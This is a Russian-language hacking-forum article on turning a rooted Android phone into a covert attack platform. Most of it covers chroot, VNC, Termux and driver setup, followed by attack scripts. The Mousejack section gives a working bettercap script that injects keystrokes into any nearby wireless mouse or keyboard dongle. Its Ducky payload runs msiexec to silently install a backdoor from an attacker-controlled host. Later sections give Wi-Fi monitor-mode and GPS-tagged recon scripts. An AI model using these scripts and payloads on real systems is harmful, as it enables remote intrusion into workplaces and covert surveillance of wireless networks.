Киберфон. Превращаем телефон на Android в инструмент хакера
ID: 676535aeb4103b69df3735c3
Thread ID: 89303
Created: 2023-05-30T20:20:11+0000
Last Post: 2023-08-14T13:27:43+0000
Author: baykal
Prefix: Статья
Replies: 8 Views: 2K

С точки зрения хакера, мобильный телефон — удобнейшее средство для компьютерных атак, особенно атак околофизического доступа, которые выполняются по радиоканалу. В этой статье мы поговорим о том, как превратить обычный мобильник на Android в могучее оружие хакера.

Сейчас у каждого есть телефон, зачастую даже не один. Так что злоумышленник с мобильником выглядит куда менее подозрительно, чем с ноутбуком. Более того, телефон часто разрешают проносить туда, где ноутбуки запрещены. Телефоны редко рассматриваются как источник угрозы.

У телефона настолько большой потенциал, что с его помощью можно реализовать практически любые физические атаки. Несмотря на то что он работает на мобильном процессоре (ARM), на нем можно запустить почти любой десктопный софт. Все благодаря тому, что Linux — это open source. Все многообразие ПО под него уже давно кросс‑скомпилировано и портировано под множество других архитектур, включая и ARM, да еще и в форме удобных пакетов.

Теперь предлагаю взглянуть на телефон глазами хакера. Сколько атак можно провести с его помощью? Все атаки, что продемонстрированы на Pineapple, можно реализовать и с телефона. Более того, перечень таких атак куда шире. Можно выделить ключевое отличие телефона от Pineapple или любого одноплатника — наличие устройств ввода‑вывода информации. Поскольку у телефона есть экран и клавиатура, атакующий может проводить интерактивные атаки. То есть он в состоянии совмещать автоматизацию типовых действий и ручной ввод дополнительных команд, благодаря чему атаки становятся более таргетированными. Интерактивность — главное преимущество телефона перед автономными устройствами типа Pineapple.

Конечно, это не значит, что ноутбук не годится для физических и околофизических атак. Но вблизи объектов, где много наблюдателей, охраны и везде натыканы камеры, злоумышленник с легкостью может заменить ноутбук телефоном.

Для проведения большинства атак с телефона атакующему, как правило, требуются внешние адаптеры и драйверы для них. Однако некоторые атаки можно провести и без дополнительных устройств, что снижает сложность затеи. B итоге хакерский телефон вполне можно использовать для следующих атак:

Давай детально рассмотрим, чем может быть опасен потенциальный злоумышленник с телефоном.

НАСТРОЙКА GNU-ОКРУЖЕНИЯ​

Так уж исторически сложилось, что большая часть хакерского софта обитает в мире Unix. Конечно, под Android тоже существуют аналоги, но крайне неразумно переписывать весь софт под очередную платформу. Куда проще и правильнее организовать слой совместимости и портировать все это для нужной среды. И благодаря тому, что под капотом Android прячется ядро Linux, это действительно просто.

Далее продемонстрирован открытый подход, позволяющий сделать хакерским практически любой Android-телефон. Вопреки общему мнению, чтобы телефон стал хакерским, необязательно использовать специализированную ОС вроде Kali NetHunter. Эти слегка кастомизированные версии Android идут с ядром под соответствующее железо, а значит, перечень поддерживаемых устройств сильно ограничен. Но что делать, если такого мобильника нет в наличии? Ты можешь реализовать все нужное самостоятельно: в этом случае потребуется любой Android-телефон, который должен соответствовать только нескольким простым критериям.

Во‑первых (это самое главное), телефон должен иметь root-права. Без них большая часть атак не работает. Чтобы получить права root, загрузчик телефона должен поддерживать разблокировку. Тогда с его помощью можно перезаписать recovery (небольшая ОС для восстановления данных). А уже затем можно полноценно изменять файлы основной ОС Android.

Во‑вторых, крайне желательно, чтобы телефон имел ядро с поддержкой modprobe для загрузки дополнительных драйверов и поддержки внешних устройств. Часто modprobe может быть доступен даже на стоковом ядре. Но лучше убедиться, что для твоей модели мобильника существуют кастомные ядра, устанавливают которые тоже через recovery.

На самом деле хакеру вовсе не нужно собирать какое‑то особенное ядро, заранее добавляя в него все необходимое и каждый раз часами пересобирая его. Напротив, благодаря модульности ядра Linux можно дособрать любой драйвер для любой железки прямо на текущем ядре, да еще и не на точной версии исходных кодов. И это куда проще и безопаснее, ведь так не теряется набор функций стокового ядра и, скажем, не отваливается камера.

Также обязательно необходим какой‑нибудь терминал, например популярный Termux. Termux весьма удобен, так как имеет встроенный менеджер пакетов. Впрочем, можно легко обойтись и без него. Поскольку хакеру нужно работать с терминалом, удобнее использовать настоящую полноразмерную клавиатуру, например org.pocketworkstation.pckeyboard (Hackers Keyboard).

Наконец, вся хакерская начинка может быть представлена в файле‑образе Linux- дистрибутива, который можно использовать в режиме обычного chroot.

Сначала немного информации о создании chroot-окружения — начальной файловой системы Linux-образа. Фактически это база для хакерского программного инструментария на телефоне. Для этого на Linux-десктопе нужно подготовить файл (будущий образ), на нем создать файловую систему и смонтировать ее:

Code:Copy to clipboard

truncate -s 10G linux.img
mkfs.ext4 linux.img
mount -o loop linux.img /mnt/iso

Теперь перед хакером чистый лист, который необходимо наполнить системными файлами, то есть установить настоящий Linux. Сделать это можно одной командой, например debootstrap:

Code:Copy to clipboard

sudo debootstrap --arch arm64 --foreign --variant=minbase \
 stable /mnt/iso/ http://http.us.debian.org/debian

Программа debootstrap просто скачивает минимально необходимый набор deb- пакетов (под ARM) и распаковывает исполняемые файлы, библиотеки и конфиги внутри образа, формируя полностью работоспособное Linux-окружение. В этом случае в качестве базы используется Debian, так как он имеет крайне богатую коллекцию пакетов в своих репозиториях. В качестве альтернативы можно использовать, например, Arch Linux с его хакерским репозиторием BlackArch, содержащим практически весь необходимый атакующий софт. ОС Arch Linux ставится похожим образом и разворачивается from scratch в указанном каталоге.

Затем образ linux.img копируется на телефон, и все дальнейшие действия выполняются уже на нем.

Любую современную ОС можно представить как совокупность как совокупность user mode и kernel mode, то есть пользовательские компоненты и ядро с драйверами. Образ linux.img содержит только компоненты пользовательского режима, но в Linux есть очень четкая граница, позволяющая подключить сколько угодно user space к ядру. Благодаря концепции Unix «все есть файл» и специальным файловым системам, добавление юзерспейсов достигается монтированием нескольких системных каталогов:

Code:Copy to clipboard

# Подключение Linux-диска
mount -o loop linux.img /data/linux
# Подключение системных каталогов к Linux-образу
mount -t proc none /data/linux/proc
mount -t sysfs none /data/linux/sys
mount -o bind /dev /data/linux/dev
mount -t devpts none /data/linux/dev/pts
# Вход в Linux-контейнер
chroot /data/linux /bin/bash

Последняя команда chroot упрощенно укорачивает пути, отбрасывая /data/linux при каждом обращении к файловой системе. Таким образом, все библиотеки и системные компоненты загружаются исключительно из текущего каталога, словно с корневого раздела. Это обеспечивает также изоляцию файловой системы от ФС Android. Но в то же самое время образ взаимодействует с ядром через системные вызовы и псевдофайловые системы, получая доступ к части железа.

Чтобы удобнее передавать файлы между chroot-контейнером и Android- приложениями, можно подмонтировать пользовательскую папку sdcard:

Code:Copy to clipboard

mount -o loop /sdcard/ /data/linux/sdcard/

Это может быть удобно, когда необходимо, например, посмотреть HTML-отчет от какой‑нибудь хакерской тулзы привычным браузером телефона. С этого момента начинается полноценный GNU/Linux в обычном мобильнике на Android. И дальше все происходящее напоминает больше классическое администрирование Linux-десктопа или сервера.

Использование Linux в форме образа и проще, и правильнее. Так сохраняется в «чистоте» файловая система Android, упрощается резервное копирование, ведь физически это один файл, и такая система становится портативной. Можно просто скопировать такой заранее настроенный образ на новый девайс без необходимости все настраивать с нуля после каждой замены телефона.

Графический интерфейс​

Несмотря на то что большинство хакерских инструментов консольные, может потребоваться запуск и графических инструментов. Android лишен привычного X-сервера, отрисовывающего графику. Но используя VNC Server, можно легко устранить этот недочет:

gui.sh​

Bash:Copy to clipboard

#!/bin/bash
cat <<E > ~/.vnc/config
securitytypes=none
geometry=1083x500
localhost
E
vncserver :0

VNC Server — это тот же самый графический X-сервер, только с удобным интерфейсом под VNC-клиент, которых, благодаря открытости протокола, предостаточно даже в виде мобильных приложений. Чтобы рабочий стол содержал привычные элементы, нужно установить соответствующую среду, например для легковесности можно использовать LXDE:

Code:Copy to clipboard

apt install lxde

Теперь, используя любой мобильный VNC-клиент (например, com.iiordanov.freebVNC), можно получить Linux GUI прямо на телефоне.
Linux стирает грань между компьютером и телефоном
При наличии привычного рабочего стола телефон отличается от ноутбука только отсутствием клавиатуры. VNC Server имеет еще одну удобную и очевидную особенность — к нему можно удаленно подключаться с других устройств. Это дает возможность дистанционно управлять телефоном в оконном режиме.

Звук в chroot-окружении​

В некоторых случаях Linux-программам на телефоне может требоваться полноценный вывод звука. Добиться этого тоже достаточно просто:

Code:Copy to clipboard

apt install pulseaudio
pulseaudio --start
pactl load-module module-simple-protocol-tcp rate=48000 format=s16le channels=2 source=auto_null.monitor record=true port=8000 listen=127.0.0.1

Теперь весь звук из chroot-окружения выводится на локальный порт 8000/tcp. В окружении Android нужно запустить приложение Simple Procotol Player (com.kaytat.simpleprotocolplayer), которое воспроизводит получаемый звук.

GNU-Android bridge​

Так как работа ведется все же на Android, пусть и из chroot-окружения, может потребоваться доступ к его функциям и датчикам. К сожалению, на Android нельзя получить доступ к некоторому оборудованию через привычные символьные устройства или системные вызовы, так как эта ОС использует сильно модифицированное ядро Linux. Самый простой способ — использовать Termux-API. Он состоит из двух компонентов. Первый компонент — Android-приложение com.termux.api, которое с помощью Java-библиотек получает штатный доступ к камере, диктофону, датчикам и прочим компонентам телефона. Второй компонент — пакет Termux-API, который содержит уже консольные программы, принимающие данные от первого компонента.

Для установки консольных компонентов в Termux нужно выполнить следующую команду:

Code:Copy to clipboard

pkg install termux-api

Благодаря Termux-API можно получить доступ к начинке телефона из GNU-окружения — привычной командной строки. Это позволяет запрограммировать что угодно крайне простым образом через командную оболочку Bash.

Приложения Termux-API доступны только из окружения консоли Termux, но пока не chroot-образа. Доступ к консоли Termux из консоли chroot-окружения проще всего получить по SSH. Для этого в консоли Termux нужно настроить SSH-сервер:

Code:Copy to clipboard

ssh-keygen
cat .ssh/id_rsa.pub > .ssh/authorized_keys
sshd

Приватный ключ id_rsa копируется уже в файловую систему chroot-образа. В chroot-окружении для взаимодействия с Termux-API (например, для доступа к датчикам Android) Termux-команды вызываются уже через SSH. Например, отправить Notification в Android из консоли можно простым скриптом:

android/msg_notification.sh​

Bash:Copy to clipboard

#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-notification -t '$title' -c '$text'"

Уведомления удобно использовать для различных атакующих скриптов. К тому же уведомления позволяют задействовать и умные часы или, например, прочитать вывод команды вслух, используя речевой синтезатор телефона:

android/speak.sh​

Bash:Copy to clipboard

#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-tts-speak $text"

Что касается датчиков, чтобы получить информацию с акселерометра, можно использовать такой скрипт:

android/sensors/accelerometer.sh​

Bash:Copy to clipboard

#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-sensor -s 'icm4x6xx Accelerometer' -n 1" | sed -n 4,6p

Информация с такого датчика позволит использовать пространственное положение телефона в качестве триггера для какого‑либо действия. Вообще, у Termux-API достаточно много датчиков и возможностей.

Интерфейс под палец​

Управлять всем через терминал, конечно, хорошо и удобно для автоматизации, но требует от атакующего набирать кучу команд. Современные телефоны лишены удобной физической клавиатуры, а сенсорные виртуальные клавиатуры мало пригодны для комфортной работы в командной строке. Однако интерфейс атакующих скриптов можно упростить.

Termux переводит нажатия на сенсорный экран телефона в события мыши. Некоторые консольные файловые менеджеры, например Midnight Commander, поддерживают работу с файлами, в частности запуск скриптов, обрабатывая такие события. Поэтому этот файловый менеджер может стать простым графическим интерфейсом для управления хакерскими скриптами:

Code:Copy to clipboard

apt install mc

Все атакующие скрипты можно организовать в виде структуры файлов и папок, логически сгруппированных по типу атак. Благодаря этому навигация нажатиями пальца становится почти такой же удобной, как в обычном мобильном приложении.

Запуск атакующих сценариев одной левой, пальцем и без клавиатуры
Удобно, что Termux поддерживает быстрое изменение масштаба консоли с помощью мультитач‑жеста. Чтобы скрипты могли работать в интерактивном режиме, можно придать им единый стиль интерфейса, позволяющий принять параметры как через опции командной строки, так и через интерактивный запрос того или иного параметра:

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && arg1="$1" || read -p 'arg1: ' arg1
[[ $# -ge 2 ]] && arg2="$2" || arg2='default'
...

Таким образом, любой скрипт можно запустить простым нажатием, а если ему что‑то нужно, то он это запросит в интерактивном режиме. Разнообразные хакерские утилиты пишутся разными людьми, и интерфейсы этих программ тоже разные. Но использование простых Bash-скриптов в качестве оберток позволяет придать им единый стиль, узко заточенный под каждую конкретную атаку.

С помощью таких скриптов весь хакерский набор функций можно настраивать самостоятельно на свой вкус, придавая ему максимальную гибкость. А использование для этого командной оболочки Bash практически не требует серьезного программирования.

Тем не менее интерфейс голой консоли всегда можно обернуть простым веб‑интерфейсом, который вызывает те или иные сценарии и возвращает результат обратно на веб‑страницу. Как известно, веб — это самый простой и переносимый GUI.

Подключение хакерских девайсов к телефону​

Вместо того чтобы использовать встроенные Wi-Fi, Bluetooth или etc-карточки, хакеру проще задействовать внешние решения. На рисунке ниже представлены миниатюрные устройства, имеющие скрытый хакерский потенциал (внизу слева направо):

А также самый миниатюрный OTG (в верхней части рисунка), в зависимости от телефона Type-C/MicroUSB. Он настолько мал, что его можно оставлять прямо в любом из представленных адаптеров.

Маленькие хакерские игрушки
Такие внешние решения имеют явные преимущества. Во‑первых, их можно использовать и на ноутбуке, и на телефоне. Во‑вторых, атакующий не привязан к аппаратной части телефона или ноутбука. Это снова дает автономность, но уже для аппаратной составляющей — при замене телефона не будет утрачен хакерский арсенал.

Стоит отметить, что эти адаптеры имеют аналоги мощнее, но уже в крупном корпусе, более подходящем к работе с ноутбука. Однако ноутбук — это инструмент для атак из надежного укрытия, а телефон можно использовать в полевых условиях. Поэтому потенциальному злоумышленнику куда важнее не привлекать к себе внимание. А меньшая мощность сигнала может быть легко компенсирована возможностью подойти максимально близко к целям атак.

Для использования большинства внешних девайсов атакующему требуется собрать соответствующий драйвер. Чтобы подготовить драйверы под то или иное устройство, вовсе необязательно иметь исходные коды точной версии текущего ядра Linux, на котором работает телефон. Вполне достаточно скачать исходники близкой версии (uname -r). Чтобы не засорять файловую систему основного образа, лучше использовать для хранения исходных кодов ядра отдельный образ, который может меняться от телефона к телефону. Пару шагов назад уже было продемонстрировано создание образа из файла. И тут подразумевается, что нужно сделать то же самое, только вместо установки Linux в образ следует скачать и распаковать исходники ядра. После чего дополнительный образ монтируется уже привычным способом из Android-окружения в каталог chroot-окружения:

Code:Copy to clipboard

mount -o loop kernel.img /data/linux/usr/src/linux

Как только определен драйвер, который нужно собрать, необходимо запустить компиляцию только одного выбранного модуля (плюс его возможных зависимостей):

Code:Copy to clipboard

make menuconfig
make modules M=path/to/component
make modules_install

Заметь, тут не происходит компиляции всех модулей и уж тем более не перекомпилируется все ядро. В этом случае собирается только один необходимый модуль и его возможные зависимости.

Итак, вот примерный универсальный алгоритм сборки драйвера. На ноутбуке с Linux запускается команда

Code:Copy to clipboard

udevadm monitor

Далее в ноутбук нужно вставить наш девайс, и по реакции системы можно увидеть загрузку нужного драйвера, управляющего устройством.
Программа udevadm в режиме реального времени показывает, как система реагирует на изменение аппаратной части компьютера. И где‑то в ее выводе можно увидеть подгрузку требуемых драйверов.

Реакция ОС на подключение устройства
На рисунке видно, какие драйверы подхватывают внешнюю Wi-Fi-карту.

Далее на телефоне нужно перейти в режим интерактивного конфигурирования дерева исходных кодов ядра:

Code:Copy to clipboard

cd /usr/src/linux
sudo make menuconfig

Для поиска нужного модуля по имени нажать /. Результатом будет Location (расположение модуля) и Prompt — собственно имя модуля. Именно имя нужно отыскать, перемещаясь по каталогам интерактивного меню, и переключить в состояние m. Это означает, что в ходе компиляции он будет оформлен в виде отдельного подгружаемого модуля.

Теперь требуется собрать только выбранный драйвер, указав его Location, и скопировать в специальный системный каталог /lib/modules:

Code:Copy to clipboard

make modules M=path/to/component
sudo make modules_install SUBDIRS=path/to/component

После чего можно подключать девайс в телефон, предварительно загрузив драйвер:

Code:Copy to clipboard

sudo modprobe somemodule
sudo insmod /lib/modules/`uname -r`/extra/somemodule.ko

Чаще всего этого хватает, но иногда, особенно когда речь идет о сетевых картах, простой загрузки драйвера через modprobe может быть недостаточно. Могут потребоваться дополнительные действия, связанные с постобработкой. Эту задачу автоматически выполняет udev.

Система udev мониторит изменение конфигурации аппаратной части через sysfs и реагирует на это тем или иным образом, включая подгрузку требуемых драйверов и выполняя по необходимости дополнительные действия. Требуется лишь предварительно запустить систему udev перед подключением устройства:

Code:Copy to clipboard

sudo /lib/systemd/systemd-udevd –debug

Примерно таким образом можно подружить телефон практически с любым внешним устройством. Ведь современный телефон — не просто телефон, а настоящий карманный компьютер.

MOUSEJACK​

Тему атак с телефона мне хотелось бы начать, пожалуй, с самой опасной беспроводной физической уязвимости — Mousejack. Эта атака просто идеально подходит под эксплуатацию со смартфона. А ее импакт… Если бы я только мог сказать, сколько крупных компаний было пробито подобным образом просто с улицы…

Mousejack — это атака на беспроводные периферийные устройства, а точнее, на их адаптеры. Эта атака во всей ее мощи описана в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». Эксплуатация сильно похожа на BadUSB-флешки, с той лишь разницей, что атаку совершают на расстоянии.

Реальная успешность напрямую зависит от количества обнаруженных беспроводных мышек и клавиатур, ведь не все они могут быть уязвимы. Поэтому ее нужно проводить максимально подвижно, например с дрона. Но такая атака может быть достаточно шумной, использование же телефона делает ее практически невидимой.

В таком исполнении не потребуется даже собирать никаких специальных драйверов, нужен только root. На стенде, изображенном на рисунке ниже, телефон напечатал слово test на компьютере, используя радиоканал и адаптер беспроводной мышки.

Телефон на расстоянии нажимает клавиши на ноутбуке с беспроводной мышью
А на следующем рисунке реальный пример, когда телефон с помощью такой атаки передал кое‑что посерьезнее и пробил периметр одного из заводов прямо с улицы, то есть по модели внешнего нарушителя.

Пробитие периметра завода: телефон набирает на уязвимом компьютере команду для скачивания и запуска бэкдора
Сотрудник по ту сторону окна, думаю, сразу понял, что его вовсе не снимали на телефон, а только что хакнули через Mousejack (в рамках легальных работ по пентесту). На экране телефона видно приглашение командной строки компьютера и вход во внутреннюю сеть завода.

Эта атака — самая опасная из всех физических атак ближнего радиуса, а ее проведение требует минимальных технических усилий.

Атакующий, как правило, заранее не знает, у кого и где обнаружатся уязвимые беспроводные устройства. Более того, даже если бы и знал, то их MAC-адреса точно не написаны на самих устройствах. Так что требуется атаковать все и сразу. Приведенный ниже скрипт прослушивает радиоэфир беспроводных периферийных устройств и на каждый обнаруженный новый девайс автоматически отправляет атакующие нажатия:

whid/attack.sh​

Code:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
[[ $# -ge 2 ]] && target="$2" || target=''
if [ "x" != "x$target" ]; then
  sudo bettercap -eval "hid.recon on; hid.inject $target US $ducky;" 2> /dev/null
else
  sudo bettercap -eval "hid.recon on; events.on hid.device.new "hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky; sleep 2; hid.inject {{address}} US $ducky;"" 2> /dev/null

Для надежности на каждое обнаруженное устройство попытка отправить нажатия выполняется трижды. Если в каком‑то месте атакующий обнаружил беспроводную мышь и уверен, что это его объект атаки, то он может запустить этот скрипт, применив атаку только к выбранному устройству.

В качестве полезной нагрузки — нажатий, скачивающих и устанавливающих бэкдор, —используются знакомые нам по BadUSB-HID полезные нагрузки:

whid/ducky.txt​

Code:Copy to clipboard

GUI r
DELAY 300
STRING msiexec /i https://en.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER
DELAY 300
GUI SPACE
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.mousejack.attacker.tk/1.msi /quiet
DELAY 300
ENTER

Для успешной эксплуатации требуется проводить нажатия для каждой языковой раскладки. Введенная команда при попытке скачать исполняемый файл выполняет DNS-запрос, который идет на подконтрольный сервер злоумышленника, что служит для него сигналом успешности RCE.

Контрольно‑пропускной пункт, физический периметр вблизи офисов, посты охраны, ресепшен, квартиры, да что угодно — все это цели данной атаки, но только лишь с земли. С воздуха же, с помощью дрона, такая атака дотянется куда угодно.

Современные реалии таковы, что с помощью такой атаки взломать можно практически любую компанию.

WI-FI​

Атаки на Wi-Fi мы рассматриваем уже в третий раз. Впервые — в форм‑факторе Pineapple. Это статичные и длительные по времени атаки, неудобные по расположению, которые реализованы миниатюрной платой, спрятанной неподалеку от объектов атак. Во второй раз — на дроне. Атакующий может уже не дожидаться наступления тех или иных событий, например появления клиентов в области действия, а лететь к ним самостоятельно. И это быстрые и динамичные атаки.

С телефоном — это уже интерактивные атаки. Ведь теперь у атакующего появляется дисплей и клавиатура. И атаковать он может как «в ширину», так и «в глубину». «В ширину» — то есть атаковать все вокруг в течение небольшого промежутка времени, если поблизости множество целей. «В глубину» — то есть проводить более длительные таргетированные статичные атаки, где атакующему, возможно, придется задержаться на какое‑то время.

Для реализации Wi-Fi-атак с телефона в половине случаев нельзя обойтись без внешнего адаптера.

Хакерский режим Wi-Fi сетевой карты
Причина проста: на встроенных Wi-Fi-адаптерах, как правило, заблокирован monitor-режим. Однако кое‑какие вещи все же можно сделать и обычным адаптером, но об этом чуть позже. Для телефона выбран миниатюрный Wi-Fi-адаптер с режимом монитора. В данном случае для его работы необходим драйвер rt2800usb.ko. Нужно включить следующие опции ядра и собрать требуемый код как модуль:

Code:Copy to clipboard

CONFIG_RT2800USB=m
CONFIG_RT2800USB_RT53XX=y
make modules M=drivers/net/wireless/ralink/rt2x00

Этот модуль требует стек mac80211, следовательно, придется дособрать и его:

Code:Copy to clipboard

CONFIG_MAC80211=m
CONFIG_CFG80211=m
CONFIG_RFKILL=m
make modules M=net/mac80211
make modules M=net/wireless
make modules M=net/rfkill
make modules_install

Теперь, непосредственно перед подключением Wi-Fi-адаптера в телефон, остается запустить udev, чтобы он не только подгрузил модуль, но и выполнил некоторую постобработку:

Code:Copy to clipboard

sudo /lib/systemd/systemd-udevd –debug

Если все нормально, то появится долгожданный wlan1 — дополнительный внешний Wi-Fi-интерфейс.

Для хакера, собирающегося атаковать Wi-Fi, крайне важно иметь возможность переводить беспроводной интерфейс в режим монитора. Если iwconfig не может перевести карту в данный режим, это может означать, что карта не поддерживает работу со старым беспроводным стеком ieee80211. В таком случае можно воспользоваться новым mac80211-стеком с помощью более современной и мощной утилиты iw. Запуск режима монитора в стиле mac80211-стека выполняется следующими командами:

Code:Copy to clipboard

sudo ip link set wlan1 name mon0
sudo iw mon0 set monitor control
sudo ifconfig mon0 up

После подключения внешнего Wi-Fi-адаптера система определяет его как wlan1. Далее интерфейс переименовывается в mon0 и включается режим монитора. В итоге на телефоне в одно и то же время есть wlan0 на встроенном беспроводном адаптере и mon0 на внешнем. Можно, например, запускать точку доступа и мониторить сырые пакеты или рассылать пакеты деаутентификации.

Получилось достаточно много команд. В дальнейшем всю процедуру инициализации внешнего Wi-Fi-адаптера можно автоматизировать с помощью соответствующего скрипта:

wifi/start.sh​

Bash:Copy to clipboard

#!/bin/bash
sudo /lib/systemd/systemd-udevd --debug &
udevd=$!
count=$(lsusb|wc -l)
while sleep 1; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi; done
sleep 2
sudo kill $udevd
sudo ip link set wlan1 name mon0
sudo iw mon0 set monitor control
sudo ifconfig mon0 up

Скрипт выполняет всю необходимую настройку, включая загрузку нужного драйвера, настройку сетевого интерфейса и, конечно же, активацию режима монитора. Запускать его нужно перед подключением внешнего Wi-Fi-адаптера в телефон. Скрипт дождется изменения в состоянии USB-устройств, активирует режим монитора и самостоятельно завершится.

Используя исходники из пакета realtek-rtl88xxau-dkms, можно собрать драйвер 88XXau.ko и подключить к телефону Alfa.

Wi-Fi-адаптер с активным усилением управляется телефоном
Хакеру удобно использовать телефон с миниатюрными USB-девайсами, но это не всегда возможно. И специально для таких больших устройств можно использовать 180-градусный OTG-адаптер. Он позволяет удобно и незаметно подключать подобные массивные девайсы к телефону.

Незаметное подключение массивных USB-устройств к телефону
Размещать устройства на задней стенке телефона весьма удобно, ведь так они закрываются ладонью, когда телефон лежит в руке. С лицевой стороны практически ничего не заметно.

Wi-Fi-адаптер Alfa в действии
В то же время конструкция подключенного таким образом внешнего устройства не мешает убрать его вместе с телефоном в карман. Но не стоит забывать и про встроенный в телефон Wi-Fi-адаптер, который по‑прежнему доступен атакующему как wlan0. Половину из рассматриваемых далее атак можно провести исключительно с его использованием.

Время переходить непосредственно к атакам. Многие из последующих атак уже рассмотрены в статье «Грозный ананас. Собираем и применяем свой Wi-Fi Pineapple». Однако не все из них целесообразно выполнять непосредственно с такого девайса. Все‑таки Pineapple — это автономное устройство без экрана и клавиатуры, которое лучше подходит для малоподвижных автономных атак.

С телефоном используется совсем иной подход, ведь с ним можно интерактивно взаимодействовать. Поэтому телефон лучше подходит для подвижных атак, успешность которых, например, зависит от взаимодействия с множеством целей, рассредоточенных по площади.

Разведка​

Любая атака начинается с разведки, и Wi-Fi не исключение. Крайне широкое распространение беспроводных точек доступа может потребовать сначала определить имена сетей — объекты атак либо же их географическое местоположение для последующих более прицельных атак. И телефон — самое удобное средство для этой задачи. Он не вызывает подозрений, и на его дисплее, в отличие от Pineapple, можно смотреть результаты.

Собрать полную Wi-Fi-картину достаточно легко с помощью airodump-ng. Так как на борту любого современного телефона есть GPS, можно зафиксировать примерное местоположение каждого беспроводного устройства. Наиболее изящное решение — использовать gpsd, работа с которым поддерживается множеством инструментов, включая airodump-ng. Программа gpsd предоставляет удобный слой абстракции, единый серверный интерфейс для большинства использующих GPS Linux-утилит и не требует каждый раз их настраивать. Сам gpsd может получить информацию о спутниках множеством способов. Проще всего передать их через NMEA-поток UDP- пакетов. Сделать это можно с помощью Android-приложения, такого как io.github.tiagoshibata.gpsdclient или name.kellermann.max.bluenmea.

Однако в зданиях GPS не поможет, потому что его там попросту нет. Сигнал от спутников слишком слабый, и через преграды в виде стен он не проходит. Зато способность телефона определять местоположение по мобильным сетям, причем достаточно точно, может помочь атакующему при разведке внутри зданий.

Получение координат внутри помещений по мобильным сетям
Можно видеть, как termux-location определяет внутри здания широту (latitude) и долготу (longitude) исключительно по сотовым вышкам, Wi-Fi-сетям и датчикам положений. Дальше он передает это скрипту nmea.py, который генерирует синтетический NMEA-поток, направляемый в локальный gpsd. В результате все работающие с GPS Linux-утилиты считают это координатами от спутников.

android/location.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && provider="$1" || read -p 'gps/network: ' provider
while :; do
  echo -n $(date +"%d.%m.%Y-%H:%M:%S") ""
  ssh -i ~/id_rsa-local -p 8022 lo "termux-location -r last -p $provider | grep -e latitude -e longitude | awk '{print \$2}' | tr -d '\n' | tr ',' ' '"
  echo ""
  sleep 5
done

src/gps/nmea.py​

Python:Copy to clipboard

#!/usr/bin/python3
import pynmea2
import time
import socket
from sys import argv
ip = argv[1]
port = int(argv[2])
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
def lat_sd_to_dm(latitude):
    if latitude < 0:
        lat_dir = 'S'
    else:
        lat_dir = 'N'
    lat = ('%010.5f' % (abs(int(latitude)) * 100 + (abs(latitude) % 1.0) * 60)).rstrip('0')
    return lat_dir,lat
def lon_sd_to_dm(longitude):
    if longitude < 0:
        lon_dir = 'W'
    else:
        lon_dir = 'E'
    lon = ('%011.5f' % (abs(int(longitude)) * 100 + (abs(longitude) % 1.0) * 60)).rstrip('0')
    return lon_dir,lon
while True:
    line = input()
    try:
        datetime,lat,lon = line.split()
        print(lat,lon)
        lat_dir,lat = lat_sd_to_dm(float(lat))
        lon_dir,lon = lon_sd_to_dm(float(lon))
        gga = pynmea2.GGA('GP', 'GGA', (time.strftime("%H%M%S"), lat, lat_dir, lon, lon_dir, '1', '04', '2.6', '1.00', 'M', '-33.9', 'M', '', '0000'))
        rmc = pynmea2.RMC('GP', 'RMC', (time.strftime("%H%M%S"), 'A',  lat, lat_dir, lon, lon_dir, '0', '0.0', time.strftime("%d%m%y"), 'A'))
        for nmea in [gga,rmc]:
            print(str(nmea))
            s.sendto((str(nmea)+"\n").encode(), (ip, port))
    except:
        print(line)

Кстати, такой скрипт можно использовать и для преобразования уже обычных GPS- координат к NMEA:

Code:Copy to clipboard

~/android/location.sh gps | ~/src/gps/nmea.py ip port

В результате в ходе мониторинга беспроводных сетей становится доступной еще и информация о местоположении.

Airodump-ng теперь фиксирует местоположение по GPS
Программа airodump-ng прекрасно проводит разведку беспроводных сетей с прицелом на безопасность, отображая исчерпывающую информацию и генерируя массу полезных лог‑файлов и отчетов. Но разведка, направленная на пеленгацию точек доступа с использованием GPS, может быть выполнена намного лучше с помощью Kismet. Мощь разведывательного потенциала Kismet продемонстрирована в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». Для подключения Kismet к gpsd требуется раскомментировать всего одну директиву в конфиге:

/etc/kismet/kismet.conf​

Code:Copy to clipboard

gps=gpsd:host=127.0.0.1,port=2947

Запускать программы для захвата и анализа беспроводных устройств, такие как airodump-ng, hcxdumptool, tcpdump, а также Kismet, можно одновременно, они не мешают друг другу работать. В результатах будет большое количество разнообразных дампов и логов. Запуск утилит для захвата и отображения данных о радиоэфире и их анализа автоматизируется всего одним скриптом:

wifi/recon.sh​

Bash:Copy to clipboard

#/bin/bash
[[ $# -ge 1 ]] && opts=("$@") || opts=()
gpsd -N 'udp://*:2947' &
gpsd=$!
dumpfile=out-$(date +'%d.%m.%Y-%H:%M:%S')
sudo kismet -c mon0 --silent &
kismet=$!
tmux new-session -d -s recon -n hcxdumptool "sudo hcxdumptool -i mon0 --enable_status=8 -o $dumpfile.pcapng --silent --passive"
tmux new-window -t recon -n airodump-ng "sudo airodump-ng mon0 --gpsd -w $dumpfile --uptime --manufacturer --wps -a"
tmux a -t recon \; select-window -t hcxdumptool
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
sudo kill $kismet
kill $gpsd
read -p 'generate reports?' next
airgraph-ng -i $dumpfile-01.csv -g CAPR -o $dumpfile-CAPR.png && mv $dumpfile-CAPR.png /sdcard/
airgraph-ng -i $dumpfile-01.csv -g CPG -o $dumpfile-CPG.png && mv $dumpfile-CPG.png /sdcard/
/opt/giskismet/giskismet --csv $dumpfile-01.kismet.csv
